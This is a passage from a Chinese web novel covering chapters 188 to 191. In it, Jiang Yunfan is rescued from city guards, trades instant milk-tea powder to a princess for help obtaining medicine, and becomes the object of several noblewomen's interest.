“都他马给老子上,此子胆敢袭击王府军将领,已触犯大乾律法,给我当场格杀!”
其实对于江云帆来
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说,他并不应该反抗,毕竟他现在的实力,顶多就是力量达到了六品高手的境界,但武学造诣依旧是无品。或许硬碰硬能跟眼前这十几号人对抗一二,但这城里可不止十几号人。
这样反倒会激怒对方,让“杖打八十”变成“当场格杀”。
但江云帆很清楚,一旦被抓,那就跟**没什么区别。
而且这一拳下去,也让他成功夺回了那块金色令符。这玩意儿怎么说也是财神爷送的,可以调动墨羽这种三品高手的好东西。
至于王奋所说的龙念铁令什么的,他不清楚。
“给我上!”
王奋这次不冲了,指挥手下一拥而上。
然而就在这时……
“都给我住手!”
一声怒喝自街角响起,随之而来的便是一阵急促的马蹄声。
远处围观的人群迅速让开通道,只见两人各乘一匹大马并驾而来,奔至江元勤和王奋面前时堪堪勒住缰绳,而后翻身下马。
王奋闻声回头,在见到来人时当即浑身一颤。
“参……参见宋统领!”
刚刚站起来不久的王指挥使,又一次单膝跪在了地上。
他惶恐不已。
只因来的两人之中,其中一位,乃是王府亲卫军四大副统领之一的宋怀疆,自己上司的上司的上司……
此时宋怀疆脸色十分阴沉。
他拳头紧握,一步一步走到王奋跟前,大声怒喝:“王奋,你好大的胆子!常将军的朋友,你也敢动?”
常将军?
听到这话,江元勤和程修齐同时转头,目光看向与宋怀疆同行那人,惊得浑身一颤。
两人相视一眼,而后连忙朝那人抱拳行礼:
“见过常将军!”
……
第188章 冤家总是路窄
在京城,常牧的名气并不小。
他曾是大乾第一军团天策军的核心将领之一,后因天下安平,战事格局变动,调至皇城禁军担任副统领。
江元勤与程修齐,当初在参加科考时,有幸见过对方一面,从此便牢牢记下。
他们只是完全没想到,常将军居然会突然出现在江南。
并且,还声称与江云帆是朋友?
“统……统领啊,这小子不过是个偷偷潜入城中的蟊贼,他连身份令牌都没有,而且您看他这一身……怎可能是这位常将军的朋友?”
“给我住口!”
宋怀疆显然不想让王奋继续说下去,猛然一脚踹在其胸口,直接将人踹出几步远。
真是个没眼力见的蠢货!
实际上他从常牧口中得到的消息,这会被众人围起来的那名男子,哪里是常将军的朋友?分明就是公主殿下的朋友!
有些人,不是他们可以得罪的。
“还不赶紧跪下跟人道歉,然后自己滚去领三十大板!”
“是,是……”
王奋哪里还敢猖狂。
他已经看出来,宋统领这副模样,明显是有些畏惧。连副统领都畏惧的存在,那小子的身份肯定不简单,自己又如何能惹得起?
这次是真踢到铁板了!
关键的关键,那枚龙念铁令,很有可能是真的。
万幸,还好刚才自己挨了一拳,也让对方把令牌拿了回去,要不然这会要面对的恐怕是灭顶之灾!
“这位小哥……哦不,大哥!”
王奋从地上翻起身,弓着背往地上一跪,“大哥,刚才都是小的有眼不识泰山,冲撞了您,还请您大人有大量,千万不要跟我一般见识。”
宋怀疆也跟着走了过来,对着江云帆抬手抱拳:“都是在下管教不力,待回营一定严惩,还望小公子见谅。”
江云帆点点头,算作回应。
眼下对方确实为自己解了围,至于回去之后要不要严惩,那都与他无关了。
“既然如此,那我便领人退下了。对了,在下宋怀疆,公子日后在怀南城有任何需要,都可到西营寻我!”
能与一位公主殿下在乎的人结交,何乐而不为?
说罢,宋怀疆又一脚踢在王奋腿上:“走了!”
“是是。”
王奋连忙起身,领着一众士兵退去。
这时常牧也来到了江云帆跟前。
“小哥可有受伤?”
“无碍,倒是多谢常将军解围,想不到你从北方而来,竟在怀南城也有人脉。”
其实对于这事,江云帆并不感到意外。
毕竟常牧口中的小姐可是姓秦,这天底下姓秦的人,哪个不是有权有势?
“旧交,旧交而已。”常牧有些尴尬。
今日他得了些闲暇,便去寻到宋怀疆这个老朋友。结果在随对方巡街的时候,发现江云帆正在被围堵,便立马对宋怀疆说明了情况,还好是赶上了。
“对了,不知小哥是如何惹上这帮人的?”
“有时候,麻烦是会自己找上来。”
江云帆微微一笑,将视线移到远处的江元勤身上,“二哥,东院的泥坑可别填了,说不定以后还有用嘞!”
“你……”
威胁,赤裸裸的威胁!
江元勤气得不轻,可奈何常牧就在旁边,他也不敢发作。
只能放低姿态,一脸笑意道:“常将军,在下乃是今年的新科进士江元勤,还有这位,尚书右丞程万继之子,此前科考时咱们见过。”
“没印象。”
“呃……”
丝毫不给面子。
不过无妨,江二少也是脸皮够厚,能做到面不改色。
“在下有个疑问实在想不明白,常将军能否告知,您平时身处京城,而这江云帆却在江南,你们是如何相识的?”
江元勤确实想不明白,但更多是不服气。
为什么?江云帆离家不过短短三个月,先后得到“江南双杰”的赏识不说,后又有一位美若
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天仙的女子领着铁骑大军为其护阵,如今更是连京城禁军的副统领都攀上了关系!
这家伙凭什么能有这样的好运?
“与你无关。”
“……”
常牧甚至都不想搭理他,敷衍两句便给了一个脸色,而后再度把头转向江云帆。
原来,小哥叫这个名字!
昨晚殿下还在苦恼忘记询问对方姓名,此刻他不费吹灰之力便知晓,也算是立了一功吧?
“不知江公子眼下可有闲暇?实不相瞒,我家小姐等候已久,现在很想与公子见上一面。”
江云帆实在有些无奈。
那秦璎本就是路人,他不想与其有太多交集,但奈何常牧帮了忙,又不好直接拒绝。
没办法,只得点头答应:“你家小姐现在何处?”
“就在对面状元阁。”
“行,走吧。”
状元阁还好,对于江云帆来说,离这边的南客茶楼很近,也能随时观察情况,以确保江滢的安全。
“公子请!”
两人一同穿过街道,往状元阁而去。
而在与江元勤擦肩而过时,对方满脸阴鸷地瞪了一眼:“江云帆,咱们走着瞧!”
江云帆懒得理他。
随常牧踏入状元阁后,热闹繁华的景象立马映入眼帘。
不得不说,这里不愧是江南第一商楼,无论是装潢还是格局,都透着奢靡。其中的客人,也都一个个锦衣华服,穿金戴银,围绕在中央的舞台前,对着台上的艺女慷慨出手。
恰巧这会秦璎刚从王府回来。
身在大堂中,她一眼便看见了江云帆,那双明亮的大杏眼立马泛起激动的小星星。
可在江云帆的眼里,却不止注意到秦璎一人。
就在另一个方向,赫然还有一道一袭红裙的熟悉身影。
是许灵嫣!
刚送走江元勤,又遇到许灵嫣,江云帆甚至觉得可笑,冤家路窄这个词,在自己身上还真是屡屡应验。
……
第189章 此物名为香飘飘
许灵嫣昨晚住在王府,睡得并不安慰。
思来想去,总觉得心中有郁结解不开,不是空,而是堵。
于是今日便带着小缘,到这城里瞎逛一圈。一来为了散散心,而来也想碰碰运气,试试能不能遇到江云帆。
结果溜溜达达,又漫无目的地途经状元阁,听闻里面有人在吟词,便鬼使神差地走了进来,订下靠窗的一处雅座。
不曾想,造化的安排,总是如此巧合。
刚一落座不久,许灵嫣就在一次无意回头的瞬间,恰好瞥见从大门口走进来的江云帆。
虽然距离隔着远,但那一身布衣却挺直腰背的姿态,一头短发反显精神俊朗的外表,还是让她无比确信,自己没有认错。
如今的江云帆在许灵嫣看来,太与众不同!
她一时有些兴奋,连忙从座上起身,迈开步子朝江云帆小跑而去。
“小姐您慢点!”
小缘立马跟上,生怕许灵嫣磕着碰着,或是被人绊倒。
可许灵嫣哪里能慢得下来?
这几日她所有的困扰和烦忧,都在见到江云帆那一刹那,尽数烟消云散。
终于等到这个机会,与江云帆重新认识的机会!
这一次,许灵嫣已经想好了自己要如何说开场白,要以怎样的态度去面对,并且发誓不会再让以前的情况发生!
可是……
就在她一番奔行,终于来到距离江云帆仅有十余步之遥时。
忽然一道身着蓝色长裙的身影,像是那谪落凡间的仙子一般,在一阵蹦蹦跳跳中,先她一步跑到江云帆面前。
“你终于肯来找我了吗?”
许灵嫣猛地一愣。
那是一个很漂亮的女孩。
长发及腰,明眸皓齿,肌肤雪白,乖巧可爱……关键是,明明看着很小的年龄,也有着青春洋溢的外表,却偏偏带着一种无比高贵的气质。
那种气质,许灵嫣只在秦七汐身上见到过。
最重要的是,对方在看江云帆时,眼睛里的神色是欣喜,是好奇,是一种渴望能够亲近的探索欲!
这一刻,许灵嫣默默止步,再难往前分毫。
“小姐,您怎么了?”
小缘来到身旁,顺着她的目光看去,愣了愣之后,主仆两人各自沉默。
你终于肯来找我了吗?
此刻秦璎近距离凝视这江云帆,嘴角止不住勾起一抹微笑,左侧脸颊上有个小酒窝。
确实是个难得一见的漂亮姑娘,这一点即使江少爷也不得不承认。
不过谁让他是个清心寡欲的圣人呢?
面对美色,那叫个铁板一块:“其实是在外面遇见常将军,得其邀请不便推脱,所以便进来看看。”
秦璎的笑脸肉眼可见地垮了下来。
“这么说,你找我并没有什么事?”
“没有啊。”
江云帆其实一开始也考虑过,如今自己和江滢无处可去,请秦璎帮忙搞定住处的问题,以她的能力应该很轻松。
可欠人情容易,还人情就难了。
相比之下,他还是宁愿欠一欠秦七汐的人情,那样没什么心理负担。
“无妨,你找我无事,但我找你有事,公子可愿随我上楼详聊?”
江云帆沉默片刻。
虽然不太想浪费太多时间在这里,但既然来都来了,似乎也没有道理拒绝。
他点点头,随秦璎一同登上了阁内的楼梯。
而许灵嫣远远看着这一幕,心里说不出地难受。
“小姐,咱们要不追上去?”
“不必了。”
许灵嫣倒不是不想追上去,可就算追上去了又能有什么用?
以前她还能认为江云帆不愿撕毁婚书,是贪图自己的美色与富贵,可如今他身边缺漂亮的女人吗?缺有钱的女人吗?
他不缺,他有无数种选择!
曾几何时,自己瞧不上的人,已经不知不觉去到了自己触碰不了的位置。
她应该体会到退婚那日江云帆的感受了吧?
许灵嫣想。
……卑微,而又无能为力。
“那咱们现在……”
“回王府吧。”
许灵嫣觉得没有再待在这里的必要了。
正好秦七汐也在找江云帆,那就把状元阁的消息通知给她,也
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算是尽了作为好朋友的义务。
……
“江云帆……是个好名字。”
四楼的雅阁之中,秦璎亲自为江云帆斟上一杯从皇宫带来的北域贡茶。
“此前在湖边相遇,后来又在怀南城相逢,如此说来,咱们真的很有缘。”
出于礼貌,江云帆浅饮一口。
而后一脸平静地看向秦璎:“还是聊正事吧,小姐找我来,是有什么指示?”
“指示谈不上,就是想问问江公子,千里迢迢来怀南城,是为了办什么事吗?”
“治病。”
江云帆没有藏着掖着,把为江滢治病,以及需要找神医韩锦山,和到王府求药的目的简单说了一遍。
其实他对秦璎还是抱有一丝希望的。以先前江元勤和程修齐对常牧的态度来看,可以得知后者在京城的地位一定不低。
作为常牧的主家,还姓秦,那便更不必多说了。
说不定对方真能帮他搞定一些事。
事实证明江云帆猜对了,在他话音落下后的秦璎立马开口回应:
“那韩神医我不熟,不过王府求药一事,我大概能帮上一些忙,江公子可以把药方给我,我去试试。”
江云帆点点头:“那样自然最好,不过天下没有免费的午餐,小姐需要我做什么?”
秦璎眼珠子提溜一转。
她又想起秦七汐请她品尝的小东西,当真是前所未有的美味!
“不知江公子除了之前那饼干之外,可还有其他的好货?”
好家伙,原来是贪吃?
行,那就好满足了!
“正好,我最近得了一种香味出奇的饮品,小姐若愿意帮忙,在下可将其献上。”
“哦?是什么饮品!”
公主殿下的脸上,立马闪过一抹希冀。
江云帆则“刷”地一声,从兜中掏出一个比巴掌小两圈的方形塑料袋。
秦璎瞪眼看着那东西,只见上面印有清晰的图案,一只雪白的玉杯,杯中还盛有某种白灰色的液体。
只见江云帆微微一笑:“此物名为……”
“香飘飘!”
……
第190章 只能给我一人
江云帆让小二拿来了一只小碗。
然后当着秦璎和常牧的面,将那袋装的香飘飘奶茶粉沿着锯齿撕开,然后一股脑倒进碗中,再掺上热水。
搅拌均匀后,一缕白烟悠悠而上。
秦璎瞪圆双眼,连忙将身体前倾,用鼻尖凑近那碗前,轻轻一嗅。
“嗯——!”
公主殿下脸上满是惊喜,“这香飘飘……当真是物如其名,馨香四溢,芬芳宜人!”
在江云帆倒出那袋子中的粉末时,秦璎尚且还在好奇这形如石灰一般的东西,是如何能被称作“饮品”的?
可眼看着粉末遇水而化,顷刻飘香而出,她着实被惊得不轻。
这小小一袋,居然能勾兑出一整碗浓郁的香汁!
“江公子,我能尝尝吗?”
秦璎此刻依旧维持着半趴在桌上的姿势,抬起头来,一脸希切地看向江云帆。
而此刻江云帆已经在对面坐下。
从他的角度,一个不经意,就看到这姑娘蓝色长裙的胸口处微微张开,露出其中一片雪白的肌肤。
嗯,小丫头就是小丫头,小的可不止年龄。
江少爷不动声色地将目光上移,直视秦璎双眼:“那是自然,本来就是送你的。”
“多谢江公子!”
秦璎喜滋滋地将碗挪了过去,而后拿起桌上的小调羹,舀起一勺放在嘴边,待稍微冷却后轻轻一抿。
下一刻双眼一瞪。
“……!”
这味道,妙啊!
甜味之中带着香味,香味之中又带着一点恰到好处,如同淡乳般的腥气,更重要的是口感……融入口中那一刻,如丝般柔滑缠绕,缓缓滑下喉咙后,嘴里依旧留有余意。
当真是人间美味!
与之相比,秦璎忽然觉得自己从皇宫带来的北域贡茶,竟只能用“苦涩”二字来形容。
想到这一个没忍住,直接将碗端起,放在嘴旁边吹边饮。
果然!
她觉得自己没有猜错,江公子的手里,远不止饼干这一种稀罕物。
而且刚才她还发现了一个细节,那便是江云帆在拆开香飘飘的袋子时,所用的方法竟与汐姐姐一模一样!
【叮,震惊达成,来自秦璎的情绪值:+355!】
可以,又大赚一笔!
这香飘飘奶茶粉,乃是江云帆以250情绪值的价格兑换而来,并且还是5袋装,相当于单价五十。
五十换三百五,简直暴利!
“味道如何?”
江云帆忍住笑出声的冲动,探着头问秦璎。
后者放下碗,小脸都乐开了花,只称赞一句:“妙,妙不可言!”
“那方才说好的事……”
“江公子请放心,王府那边,小女子定会竭尽全力为你寻药,不过嘛……我还有一个要求。”
江云帆半闭双眼:“什么要求?”
“江公子往后所有的小饼干和香飘飘,都只能给我一人,我愿以高价购买,公子若能答应,我下午便去王府求药!”
什么玩意就只能给一人?
江少爷都无语了,要是就给一个人,岂不是就只能赚一份情绪值,那么缺的谁来给我补?
不得不说这小丫头人小占有欲还挺强,关键江云帆目前还不知道怎么拒绝。
没办法,此行远赴怀南城,最重要的目的就是给江滢治病,其中求药又是不可缺少的一环。若是秦璎能找来自己需要的药材,那损失一些压缩饼干和奶茶粉,倒也无关紧要。
毕竟,他早早为秦七汐准备了其他的好东西。
有大奶牛提供的巨量情绪值,别的似乎也就无所谓了。
“可以,成交!”
江云帆拍板定案,说完便站起身来,“那么事情谈妥,没其他问题我就先走了,晚上我来此寻你。”
“那个……”
秦璎本来还想挽留江云帆共进午餐,怎奈何这人雷厉风行,话刚说完便一溜烟出了包厢门。
她有些郁
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闷地回头看常牧:“常将军,你说他为何不询问本宫姓名?”
相互知晓名字,是认识的开端。
秦璎很纳闷,为什么都见过三次面了,还一起坐下来达成了交易,为什么她与江云帆却走不出这个开端?
总不能让她主动告诉对方自己叫什么吧?
“禀殿下,以我之见,应该是……江公子他并不关心?”
常牧话音刚落,立马注意到秦璎眼神变冷。
他反应还算迅速,赶忙改口道:“他忘了,一定是他忘了!待下次见面,属下一定旁敲侧击提醒一番。”
秦璎未答,只收回目光,嘴角略带笑意。
“走吧,再去一趟王府。”
为江云帆求药之事,她还是想要尽快办妥的,不然对不起对方给的承诺。
其实让江云帆往后的饼干和香飘飘都卖给自己,倒不是秦璎有多嘴馋,她只是想着以这种方式,让江云帆不得不多次来找自己。
这样逐渐熟络之后,就可以伸出橄榄枝,将其邀往帝京。
如果此行,还能成功将那位写下两首千古绝词的大才一并带回,那就堪称圆满了!
……
许灵嫣在找到秦七汐时,临汐苑里还有两位熟人。
一位是归雁大儒沈先生。
还有一位,便是她的老对手,京城开阳侯府的大小姐,齐之瑶。
“如此说来,昨夜盘旋在怀南城上空的红色光点,并非什么异星凌空,而是江公子所拥的飞行器物?”
坐在秦七汐对面,听到一番解释,沈远修觉得自己的认知又被革新了。
革新也就罢了,重点在于,每一次造成这种情况的,居然都是同一个人!
这可是掌握飞行的能力啊!
对于大乾这泱泱大地而言,对于从古至今几千年的历史而言,都是渴望而不可及的梦想啊!
而如今,正是江云帆这样一位奇人,他忽然之间,就完成了这个梦想。
……
第191章 翻墙去见他
“那日在江公子的别院,我与殿下一同见看见那个东西。”
“全身银黑相间,模样古怪,宽如斗盆,生有十六翼,估计之所以能够凌空飞行,正因这十六翼可以提供动力!”
墨羽就站在秦七汐身侧,把当日前往桃源居的所见一五一十描述出来。
听得沈远修是眉头紧皱:“如此怪异之物,当真是闻所未闻!”
“原来如此。”
就在这时,一直站在沈远修身后默不作声的齐之瑶,突然开口道,“万灯节那日在镜湖畔,我第一次见江公子时,他的手里就拿着一个巴掌大的黑疙瘩,或许,那就是用来操控的工具!”
此话一出,全场陷入了沉默。
拥有能够飞行的器具,和能够操控会飞行的器具,这是截然不同两码事。
秦七汐和沈远修几乎同时想到了一个令人心惊的结果。
“郡主,你认为呢?”
“这件事,最好是由老师亲自去告知父王,凭借此物说不定……能够改写未来战争的规则!”
在场的齐之瑶和墨羽两人当即屏住呼吸,就连门口的许灵嫣和小缘也都愣在原地。
改写战争的规则,这是何等空前巨大的影响?
不过仔细一想,郡主说的似乎没错,一件可以操控的飞行物,既能在战场上以极快的速度传递情报,也能以意想不到的方式探察敌情。
料敌于先,先敌而动,还愁仗打不过吗?
只是几人也在怀疑,江云帆确实与众不同,也总是能给人带来惊喜,但要说改变整个世界……还是有点让人难以置信。
“无论怎么说,此事都理应禀报王爷,老夫这就去。”
沈远修起身与秦七汐做了个别,便立马扭动圆润的身体往门外走去。
许灵嫣与其行礼之后,也连忙进了屋。
“小汐,有消息了。”
“什么消息?”
秦七汐这会儿正一脸郁闷,原本洁白的脸蛋多出两团淡淡的红色,眼神也十分幽怨。
父王不准她出府,这半天下来,已经憋坏了。
“刚才我去了趟状元阁。”
许灵嫣左右看了两眼,见齐之瑶已经追随沈远修的脚步走到了门口,这才开口说道,“见到江云帆了。”
“!”
秦七汐一双大眼瞪得溜圆,而门口的齐之瑶也恰好顿了片刻脚步。
“他果然来了。”
一时之间,小郡主有些激动又有些慌乱,从椅子上站起身后,想要迈步往外面走,却突然意识到一个问题。
她根本就出不去。
“墨羽。”
“在。”
“你去一趟状元阁,把江公子盯紧了,随时让人回来汇报。”
“是!”
墨羽领命而走。
秦七汐则长吁了一口气,重新坐下来,开始沉思。
她必须得想个办法出去!
虽说父王是想看到江公子主动前来王府,可那家伙是块木头,无欲无求,而且喜欢清静。若没个正当的理由,他绝不可能主动!
说不定再过几天,就又离开怀南城了。
“小汐……”
见她这副模样,许灵嫣疑问满满,“我同你也认识不少时间了,还是第一次见你对一个人或一件事如此上心,对于你来说江云帆真就那么重要吗?”
听到这话,秦七汐也停止了苦思,静**在原地。
真就那么重要吗?
她说不清楚,只知道经过这几天的时间,她想明白了一些道理。
正如许灵嫣所言,从忆事起,尤其是母妃过世后,自己好像对任何事,任何人都不怎么关心。或许是看透了本质,觉得无论什么事情发生,都对自己造不成太大的影响。
可自从离开镜源,回到王府后,她真正切切感觉到不适应。
不是不适应环境,也并非不适应生活,而是不适应自己突然之间,好像没有什么东西可以追求了。
直到江云帆出现在怀南城。
秦七汐觉得,自己是想要去见他的。至于理由……应该是想吃他的棒棒糖吧?
“嗯。”
这一刻,面对许灵嫣的提问,秦七汐重重点了下头。
简单又肯定的回答。
许灵嫣忽然笑了:“或许我和你之间最大的差距,就是从
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未像你这样坚定不移过吧。”
是啊,她错过江云帆,确实是自己一手造成的。
但那也是必然的……
“灵嫣,你帮我一个忙!”
就在这时,有人终于想到点子了。
她缓缓凑到许灵嫣耳边,轻声耳语了几句,后者听得眼睛越瞪越大。
“小汐,这样不行,太危险了!”
许灵嫣怎么也没想到,秦七汐想到的办法,居然是翻墙逃跑!
王府的围墙可不是普通的墙壁,高度几近两丈,一旦从上面摔下去,没点武功在身的人搞不好就废了。
“我知道危险,但是我有分寸。”
秦七汐无比坚定,“而且这就是最好的办法,灵嫣你只需要做好你的那一步就行。”
许灵嫣依旧皱眉犹豫了许久。
最终看秦七汐那决不死心的眼神,只得无奈点头:“好吧,但你一定要快去快回!”
“好。”
……
状元阁外,人潮涌动。
江云帆本打算去王府碰碰运气,试试能不能找到秦七汐。却不曾想,刚一出门就遇上了匆忙赶来的墨羽。
“墨姑娘?这么巧!”
墨羽抱着剑,一脸冷色:“不巧,我就是奉小姐之命来盯你的。”
“盯我做甚?”
“盯你有没有四处沾花惹草!”
墨羽说着,还抬头望了一眼楼门上悬挂的招牌——“状元阁”,名字倒是文化气十足,实际上却是怀南城中最大的风月场之一。
到这里来的男子,只有一成是为了谈诗论词。
剩下的全是看美女跳舞!
墨羽就知道,世子殿下就尤其喜欢到这里来,还经常拿着大把大把的银子,送给那些歌姬舞娘。
而今江云帆出现在此处,简直对不起郡主的一番苦心!
可谁知她的态度明明很严肃了,但江云帆这人,竟又露出一丝痞痞的笑脸:“墨姑娘的意思是,你家小姐不准我四处沾花惹草咯?”
“那是自然!”
不对……
话刚一脱口,墨羽便忽然意识到,自己好像说错了什么。
……